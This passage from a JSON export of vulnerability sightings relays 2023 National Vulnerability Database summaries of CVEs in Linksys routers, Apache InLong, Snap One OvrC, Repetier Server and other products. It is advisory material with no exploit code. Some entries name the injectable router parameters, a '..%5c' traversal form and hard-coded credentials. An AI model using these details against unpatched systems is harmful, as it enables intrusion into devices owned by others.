"2023-04-26T22:25:42.000000Z"}, {"uuid": "3b558231-253e-4985-8f3d-f59b09e1e953", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31043", "type": "seen", "source": "https://t.me/cibsecurity/62673", "content": "\u203c CVE-2023-31043 \u203c\n\nEnterpriseDB EDB Postgres Advanced Server (EPAS) before 14.6.0 logs unredacted passwords in situations where optional parameters are used with CREATE/ALTER USER/GROUP/ROLE, and redacting was configured with edb_filter_log.redact_password_commands. The fixed versions are 10.23.33, 11.18.29, 12.13.17, 13.9.13, and 14.6.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-24T00:38:40.000000Z"}, {"uuid": "e21c47b9-ee8d-41a9-aa28-e209a45d3ca2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31241", "type": "seen", "source": "https://t.me/cibsecurity/64579", "content": "\u203c CVE-2023-31241 \u203c\n\nSnap One OvrC cloud servers contain a route an attacker can use to bypass requirements and claim devices outright.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-23T00:25:52.000000Z"}, {"uuid": "f809a52d-f864-4b0f-ac49-103dd351d9a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31689", "type": "seen", "source": "https://t.me/cibsecurity/64578", "content": "\u203c CVE-2023-31689 \u203c\n\nIn Wcms 0.3.2, an attacker can send a crafted request from a vulnerable web application backend server /wcms/wex/html.php via the finish parameter and the textAreaCode parameter. It can write arbitrary strings into custom file names and upload any files, and write malicious code to execute scripts to trigger command execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-23T00:25:51.000000Z"}, {"uuid": "410159ab-25ee-4017-b602-2a739669ff7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31245", "type": "seen", "source": "https://t.me/cibsecurity/64576", "content": "\u203c CVE-2023-31245 \u203c\n\nDevices using Snap One OvrC cloud are sent to a web address when accessing a web management interface using a HTTP connection. Attackers could impersonate a device and supply malicious information about the device\u00e2\u20ac\u2122s web server interface. By supplying malicious parameters, an attacker could redirect the user to arbitrary and dangerous locations on the web.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-23T00:25:49.000000Z"}, {"uuid": "1e3b7759-f9d8-4ec1-a998-cfe1f106c0a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31193", "type": "seen", "source": "https://t.me/cibsecurity/64575", "content": "\u203c CVE-2023-31193 \u203c\n\nSnap One OvrC Pro versions prior to 7.3 use HTTP connections when downloading a program from their servers. Because they do not use HTTPS, OvrC Pro devices are susceptible to exploitation.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-23T00:25:48.000000Z"}, {"uuid": "60de619e-7701-4894-98e9-ae64e50695e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31056", "type": "seen", "source": "https://t.me/cibsecurity/62678", "content": "\u203c CVE-2023-31056 \u203c\n\nCloverDX before 5.17.3 writes passwords to the audit log in certain situations, if the audit log is enabled and single sign-on is not employed. The fixed versions are 5.15.4, 5.16.2, 5.17.3, and 6.0.x.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-24T07:14:04.000000Z"}, {"uuid": "c7e0fc8b-c9ab-4413-bc03-09b6b0994e17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31059", "type": "seen", "source": "https://t.me/cibsecurity/62677", "content": "\u203c CVE-2023-31059 \u203c\n\nRepetier Server through 1.4.10 allows ..%5c directory traversal for reading files that contain credentials, as demonstrated by connectionLost.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-24T07:14:03.000000Z"}, {"uuid": "2462cad4-86b0-4d17-8f37-e7311bd6a8c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31059", "type": "seen", "source": "https://t.me/cibsecurity/62676", "content": "\u203c CVE-2023-31060 \u203c\n\nRepetier Server through 1.4.10 executes as SYSTEM. This can be leveraged in conjunction with CVE-2023-31059 for full compromise.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-24T07:14:02.000000Z"}, {"uuid": "91e69463-d9d0-47af-963d-c7797c87f749", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31060", "type": "seen", "source": "https://t.me/cibsecurity/62676", "content": "\u203c CVE-2023-31060 \u203c\n\nRepetier Server through 1.4.10 executes as SYSTEM. This can be leveraged in conjunction with CVE-2023-31059 for full compromise.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-24T07:14:02.000000Z"}, {"uuid": "e9d12aaf-b213-462b-b9df-ba5768398470", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31061", "type": "seen", "source": "https://t.me/cibsecurity/62675", "content": "\u203c CVE-2023-31061 \u203c\n\nRepetier Server through 1.4.10 does not have CSRF protection.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-24T07:14:01.000000Z"}, {"uuid": "ed166aff-557a-4e63-a865-a8bb54346e7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31740", "type": "seen", "source": "https://t.me/cibsecurity/64606", "content": "\u203c CVE-2023-31740 \u203c\n\nThere is a command injection vulnerability in the Linksys E2000 router with firmware version 1.0.06. If an attacker gains web management privileges, they can inject commands into the post request parameters WL_atten_bb, WL_atten_radio, and WL_atten_ctl in the apply.cgi interface, thereby gaining shell privileges.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-23T07:25:26.000000Z"}, {"uuid": "b86f0e86-f552-4cc7-8c84-f953444e5d03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31670", "type": "seen", "source": "https://t.me/cibsecurity/64600", "content": "\u203c CVE-2023-31670 \u203c\n\nAn issue in wasm2c 1.0.32, wasm2wat 1.0.32, wasm-decompile 1.0.32, and wasm-validate 1.0.32 allows attackers to cause a Denial of Service (DoS) via running a crafted binary.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-23T07:25:20.000000Z"}, {"uuid": "a5ad41a6-f533-4d75-acd9-972111a8b6b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31761", "type": "seen", "source": "https://t.me/cibsecurity/64663", "content": "\u203c CVE-2023-31761 \u203c\n\nWeak security in the transmitter of Blitzwolf BW-IS22 Smart Home Security Alarm v1.0 allows attackers to gain full access to the system via a code replay attack.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-24T07:26:44.000000Z"}, {"uuid": "295b832f-843b-4007-9b7c-a6f8131be65c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31066", "type": "published-proof-of-concept", "source": "https://t.me/cibsecurity/64545", "content": "\u203c CVE-2023-31066 \u203c\n\nFiles or Directories Accessible to External Parties vulnerability in Apache Software Foundation Apache InLong.This issue affects Apache InLong: from 1.4.0 through 1.6.0. Different users in InLong could\u00c2\u00a0delete, edit, stop, and start others' sources!\u00c2\u00a0Users are advised to upgrade to Apache InLong's 1.7.0 or cherry-pick https://github.com/apache/inlong/pull/7775 https://github.com/apache/inlong/pull/7775 to solve it.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T20:25:29.000000Z"}, {"uuid": "8099c98b-d14f-43d4-a0d4-3b3010f4dde1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31064", "type": "published-proof-of-concept", "source": "https://t.me/cibsecurity/64543", "content": "\u203c CVE-2023-31064 \u203c\n\nFiles or Directories Accessible to External Parties vulnerability in Apache Software Foundation Apache InLong.This issue affects Apache InLong: from 1.2.0 through 1.6.0. the user in InLong could cancel an\u00c2\u00a0application that doesn't belongs to it.\u00c2\u00a0Users are advised to upgrade to Apache InLong's 1.7.0 or cherry-pick https://github.com/apache/inlong/pull/7799 https://github.com/apache/inlong/pull/7799 to solve it.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T20:25:24.000000Z"}, {"uuid": "6852eb1b-a25f-4dab-908d-64c33e8a26ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31454", "type": "published-proof-of-concept", "source": "https://t.me/cibsecurity/64540", "content": "\u203c CVE-2023-31454 \u203c\n\nIncorrect Permission Assignment for Critical Resource Vulnerability in Apache Software Foundation Apache InLong.This issue affects Apache InLong: from 1.2.0 through 1.6.0.\u00c2\u00a0The attacker can bind any cluster, even if he is not the cluster owner. Users are advised to upgrade to Apache InLong's 1.7.0 or cherry-pick [1] to solve it.[1] https://github.com/apache/inlong/pull/7947 https://github.com/apache/inlong/pull/7947\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T18:24:47.000000Z"}, {"uuid": "f05fb780-5dfa-48af-b53e-9f12fcd6e050", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31923", "type": "seen", "source": "https://t.me/cibsecurity/64539", "content": "\u203c CVE-2023-31923 \u203c\n\nSuprema BioStar 2 before 2022 Q4, v2.9.1 has Insecure Permissions. A vulnerability in the web application allows an authenticated attacker with \"User Operator\" privileges to create a highly privileged user account. The vulnerability is caused by missing server-side validation, which can be exploited to gain full administrator privileges on the system.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T18:42:52.000000Z"}, {"uuid": "340d4bb0-a2e6-4649-b05d-bdce992273b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31206", "type": "published-proof-of-concept", "source": "https://t.me/cibsecurity/64536", "content": "\u203c CVE-2023-31206 \u203c\n\nExposure of Resource to Wrong Sphere Vulnerability in Apache Software Foundation Apache InLong.This issue affects Apache InLong: from 1.4.0 through 1.6.0.\u00c2\u00a0Attackers can change the immutable name and type of nodes of InLong. Users are advised to upgrade to Apache InLong's 1.7.0 or cherry-pick [1] to solve it. [1] https://cveprocess.apache.org/cve5/[1]%C2%A0https://github.com/apache/inlong/pull/7891 https://github.com/apache/inlong/pull/7891 https://github.com/apache/inlong/pull/7891\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T18:24:40.000000Z"}, {"uuid": "68833dbc-3cb6-41b5-88f8-99c3c3d4114d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31752", "type": "seen", "source": "https://t.me/cibsecurity/64648", "content": "\u203c CVE-2023-31752 \u203c\n\nSourceCodester Employee and Visitor Gate Pass Logging System v1.0 is vulnerable to SQL Injection via /employee_gatepass/classes/Login.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-24T00:37:21.000000Z"}, {"uuid": "07ed9dcb-d58b-4f8b-8775-b5e80f8c225b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31518", "type": "seen", "source": "https://t.me/cibsecurity/64647", "content": "\u203c CVE-2023-31518 \u203c\n\nA heap use-after-free in the component CDataFileReader::GetItem of teeworlds v0.7.5 allows attackers to cause a Denial of Service (DoS) via a crafted map file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-24T00:37:20.000000Z"}, {"uuid": "27584742-e244-4d3e-803b-f52ac56a5f18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31762", "type": "seen", "source": "https://t.me/cibsecurity/64667", "content": "\u203c CVE-2023-31762 \u203c\n\nWeak security in the transmitter of Digoo DG-HAMB Smart Home Security System v1.0 allows attackers to gain full access to the system via a code replay attack.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-24T07:26:50.000000Z"}, {"uuid": "5bd180f7-159c-4ee1-b104-a968737c4b58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31759", "type": "seen", "source": "https://t.me/cibsecurity/64662", "content": "\u203c CVE-2023-31759 \u203c\n\nWeak Security in the 433MHz keyfob of Kerui W18 Alarm System v1.0 allows attackers to gain full access via a code replay attack.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-24T07:26:43.000000Z"}, {"uuid": "f750c166-bc73-4e83-b9b0-be30334c81a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31517", "type": "seen", "source": "https://t.me/cibsecurity/64655", "content": "\u203c CVE-2023-31517 \u203c\n\nTeeworlds v0.7.5 was discovered to contain memory leaks.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-24T00:40:27.000000Z"}, {"uuid": "5b1e0221-871d-44e5-9acb-74aafaead50e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31860", "type": "seen", "source": "https://t.me/cibsecurity/64652", "content": "\u203c CVE-2023-31860 \u203c\n\nWuzhi CMS v3.1.2 has a storage type XSS vulnerability in the backend of the Five Finger CMS b2b system.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-24T00:40:25.000000Z"}, {"uuid": "714d0d90-ae1e-4e7d-878b-d4f854e4f1f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31763", "type": "seen", "source": "https://t.me/cibsecurity/64664", "content": "\u203c CVE-2023-31763 \u203c\n\nWeak security in the transmitter of AGShome Smart Alarm v1.0 allows attackers to gain full access to the system via a code replay attack.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-24T07:26:45.000000Z"}, {"uuid": "ce429e63-f887-4e0a-9d8d-46e071296e75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31240", "type": "seen", "source": "https://t.me/cibsecurity/64571", "content": "\u203c CVE-2023-31240 \u203c\n\nSnap One OvrC Pro versions prior to 7.2 have their own locally running web server accessible both from the local network and remotely. OvrC cloud contains a hidden superuser account accessible through hard-coded credentials.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-23T00:25:40.000000Z"}, {"uuid": "0de3b91a-d348-46ed-a9c6-3ddf2e0ef9e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31816", "type": "seen", "source": "https://t.me/cibsecurity/64570", "content": "\u203c CVE-2023-31816 \u203c\n\nIT Sourcecode Content Management System Project In PHP and MySQL With Source Code 1.0.0 is vulnerable to Cross Site Scripting (XSS) via /ecodesource/search_list.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-23T00:25:40.000000Z"}, {"uuid": "1122c204-b67c-454c-9515-77bf788846ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31669", "type": "seen", "source": "https://t.me/cibsecurity/64617", "content": "\u203c CVE-2023-31669 \u203c\n\nWebAssembly wat2wasm v1.0.32 allows attackers to cause a libc++abi.dylib crash by putting '@' before a quote (\").\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-23T16:25:14.000000Z"}, {"uuid": "4155b507-4163-46f3-93cf-c38934468d6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31826", "type": "seen", "source": "https://t.me/cibsecurity/64599", "content": "\u203c CVE-2023-31826 \u203c\n\nSkyscreamer Open Source Nevado JMS v1.3.2 does not perform security checks when receiving messages. This allows attackers to execute arbitrary commands via supplying crafted data.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-23T07:25:19.000000Z"}, {"uuid": "0de3b394-4950-41d6-b08a-6197b8416355", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31994", "type": "seen", "source": "https://t.me/cibsecurity/64589", "content": "\u203c CVE-2023-31994 \u203c\n\nCertain Hanwha products are vulnerable to Denial of Service (DoS). ck vector is: When an empty UDP packet is sent to the listening service, the service thread results in a non-functional service (DoS) via WS Discovery and Hanwha proprietary discovery services. This affects IP Camera ANE-L7012R 1.41.01 and IP Camera XNV-9082R 2.10.02.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-23T07:25:06.000000Z"}, {"uuid": "4061338a-af20-4694-9741-f1d7c0313c40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31741", "type": "seen", "source": "https://t.me/cibsecurity/64591", "content": "\u203c CVE-2023-31741 \u203c\n\nThere is a command injection vulnerability in the Linksys E2000 router with firmware version 1.0.06. If an attacker gains web management privileges, they can inject commands into the post request parameters wl_ssid, wl_ant, wl_rate, WL_atten_ctl, ttcp_num, ttcp_size in the httpd s Start_EPI() function, thereby gaining shell privileges.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-23T07:25:08.000000Z"}, {"uuid": "02ab54a2-48a8-4e66-9991-915b8ee42dd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31584", "type": "seen", "source": "https://t.me/cibsecurity/64560", "content": "\u203c CVE-2023-31584 \u203c\n\nGitHub repository cu/silicon commit a9ef36 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the User Input field.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T22:24:50.000000Z"}, {"uuid": "1ac80870-dd1b-4590-bd04-ad750c97893a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31065", "type": "published-proof-of-concept", "source": "https://t.me/cibsecurity/64558", "content": "\u203c CVE-2023-31065 \u203c\n\nInsufficient Session Expiration vulnerability in Apache Software Foundation Apache InLong.This issue affects Apache InLong: from 1.4.0 through 1.6.0.\u00c2\u00a0An old session can be used by an attacker even after the user has been deleted or the password has been changed.Users are advised to upgrade to Apache InLong's 1.7.0 or cherry-pick https://github.com/apache/inlong/pull/7836 https://github.com/apache/inlong/pull/7836 , https://github.com/apache/inlong/pull/7884 https://github.com/apache/inlong/pull/7884 to solve it.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T20:30:33.000000Z"}, {"uuid": "3bc0c0b0-8bc8-4c4c-b833-4fa9ceec2a45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31101", "type": "published-proof-of-concept", "source": "https://t.me/cibsecurity/64556", "content": "\u203c CVE-2023-31101 \u203c\n\nInsecure Default Initialization of Resource Vulnerability in Apache Software Foundation Apache InLong.This issue affects Apache InLong: from 1.5.0 through 1.6.0. Users registered in InLong who joined later can see deleted users' data. Users are advised to upgrade to Apache InLong's 1.7.0 or cherry-pick https://github.com/apache/inlong/pull/7836 https://github.com/apache/inlong/pull/7836 to solve it.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T20:25:57.000000Z"}, {"uuid": "c6e871bf-71d4-43b2-9044-85b7359e514f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31103", "type": "published-proof-of-concept", "source": "https://t.me/cibsecurity/64555", "content": "\u203c CVE-2023-31103 \u203c\n\nExposure of Resource to Wrong Sphere Vulnerability in Apache Software Foundation Apache InLong.This issue affects Apache InLong: from 1.4.0 through 1.6.0.\u00c2\u00a0Attackers can change the immutable name and type of cluster of InLong.\u00c2\u00a0Users are advised to upgrade to Apache InLong's 1.7.0 or cherry-pick https://github.com/apache/inlong/pull/7891 https://github.com/apache/inlong/pull/7891 to solve it.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T20:25:54.000000Z"}, {"uuid": "425c3dbc-3ddd-4ede-b89a-d82cf48261b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31062", "type": "published-proof-of-concept", "source": "https://t.me/cibsecurity/64554", "content": "\u203c CVE-2023-31062 \u203c\n\nImproper Privilege Management Vulnerabilities in Apache Software Foundation Apache InLong.This issue affects Apache InLong: from 1.2.0 through 1.6.0.\u00c2\u00a0 When\u00c2\u00a0the attacker has access to a valid (but unprivileged) account, the exploit can be executed using Burp Suite by sending a loginrequest and following it with a subsequent HTTP requestusing the returned cookie.Users are advised to upgrade to Apache InLong's 1.7.0 or cherry-pick https://github.com/apache/inlong/pull/7836 https://github.com/apache/inlong/pull/7836 to solve it.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T20:25:51.000000Z"}, {"uuid": "78cd31a1-0ebd-40ad-a1af-ba83a8a036c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31453", "type": "published-proof-of-concept", "source": "https://t.me/cibsecurity/64533", "content": "\u203c CVE-2023-31453 \u203c\n\nIncorrect Permission Assignment for Critical Resource Vulnerability in Apache Software Foundation Apache InLong.This issue affects Apache InLong: from 1.2.0 through 1.6.0. The\u00c2\u00a0attacker can delete others' subscriptions, even if they are not the ownerof the deleted subscription.\u00c2\u00a0Users are advised to upgrade to Apache InLong's 1.7.0 or cherry-pick [1] to solve it.[1] https://github.com/apache/inlong/pull/7949 https://github.com/apache/inlong/pull/7949\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T18:24:37.000000Z"}, {"uuid": "54fcbb89-c26d-4397-8ca3-e2c11545b921", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31779", "type": "seen", "source": "https://t.me/cibsecurity/64528", "content": "\u203c CVE-2023-31779 \u203c\n\nWekan v6.84 and earlier is vulnerable to Cross Site Scripting (XSS). An attacker with user privilege on kanban board can insert JavaScript code in in \"Reaction to comment\" feature.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T16:24:56.000000Z"}, {"uuid": "97d5c9cd-adc2-4a6b-91f0-61c7c98b8a64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31742", "type": "seen", "source": "https://t.me/cibsecurity/64552", "content": "\u203c CVE-2023-31742 \u203c\n\nThere is a command injection vulnerability in the Linksys WRT54GL router with firmware version 4.30.18.006. If an attacker gains web management privileges, they can inject commands into the post request parameters wl_ant, wl_rate, WL_atten_ctl, ttcp_num, ttcp_size in the httpd s Start_EPI() function, thereby gaining shell privileges.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T20:25:46.000000Z"}, {"uuid": "620bef06-d828-4515-823d-6ec7b231a478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31098", "type": "published-proof-of-concept", "source": "https://t.me/cibsecurity/64550", "content": "\u203c CVE-2023-31098 \u203c\n\nWeak Password Requirements vulnerability in Apache Software Foundation Apache InLong.This issue affects Apache InLong: from 1.1.0 through 1.6.0.\u00c2\u00a0When users change their password to a simple password (with any character orsymbol), attackers can easily guess the user's password and access the account.Users are advised to upgrade to Apache InLong's 1.7.0 or cherry-pick https://github.com/apache/inlong/pull/7805 https://github.com/apache/inlong/pull/7805 to solve it.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T21:59:48.000000Z"}, {"uuid": "37fa01bc-1397-498d-a957-61805602de2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31058", "type": "published-proof-of-concept", "source": "https://t.me/cibsecurity/64526", "content": "\u203c CVE-2023-31058 \u203c\n\nDeserialization of Untrusted Data Vulnerability in Apache Software Foundation Apache InLong.This issue affects Apache InLong: from 1.4.0 through 1.6.0. Attackers would bypass the'autoDeserialize' option filtering by adding\u00c2\u00a0blanks. Users are advised to upgrade to Apache InLong's 1.7.0 or cherry-pick [1] to solve it.[1] https://github.com/apache/inlong/pull/7674 https://github.com/apache/inlong/pull/7674\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T16:24:54.000000Z"}, {"uuid": "801b176a-aeb2-40a7-910a-88815b0f486f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31136", "type": "seen", "source": "https://t.me/cibsecurity/63623", "content": "\u203c CVE-2023-31136 \u203c\n\nPostgresNIO is a Swift client for PostgreSQL. Any user of PostgresNIO prior to version 1.14.2 connecting to servers with TLS enabled is vulnerable to a man-in-the-middle attacker injecting false responses to the client's first few queries, despite the use of TLS certificate verification and encryption. The vulnerability is addressed in PostgresNIO versions starting from 1.14.2. There are no known workarounds for unpatched users.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T18:43:42.000000Z"}, {"uuid": "62c058d9-37bf-4e04-a50a-dd5a090a7bf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31139", "type": "seen", "source": "https://t.me/cibsecurity/63621", "content": "\u203c CVE-2023-31139 \u203c\n\nDHIS2 Core contains the service layer and Web API for 